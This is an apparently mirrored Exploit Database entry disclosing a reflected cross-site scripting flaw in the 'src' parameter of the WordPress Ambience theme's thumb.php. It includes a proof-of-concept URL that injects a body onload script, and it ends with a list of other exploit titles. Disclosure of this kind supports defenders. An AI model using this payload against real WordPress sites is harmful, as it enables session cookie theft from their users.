WordPress Theme Ambience – ‘src’ Cross-Site Scripting

Exploit Database
119 阅读

作者： Darksnipper

日期： 2013-06-09
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/38568/

source: https://www.securityfocus.com/bid/60458/info

The Ambience theme for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/wp-content/themes/ambience/thumb.php?src=<body onload=alert(/darksnipper/)>.jpg

last Exploits
WordPress Theme Ambience – ‘src’ Cross-Site Scripting的更多信息

Joomla! Component dj-classifieds 2.0 – Blind SQL Injection：
2DayBiz Advanced Poll Script – Cross-Site Scripting / Authentication Bypass：
OpenCMS 10.5.3 – Cross-Site Request Forgery：
Joomla! Component com_question – SQL Injection：
Metinfo 3.0 – Multiple Vulnerabilities：
Saurus CMS 4.7 – ‘edit.php’ Cross-Site Scripting：
Citrix Application Delivery Controller and Citrix Gateway – Remote Code Execution：
Airlive IP Cameras – Multiple Vulnerabilities：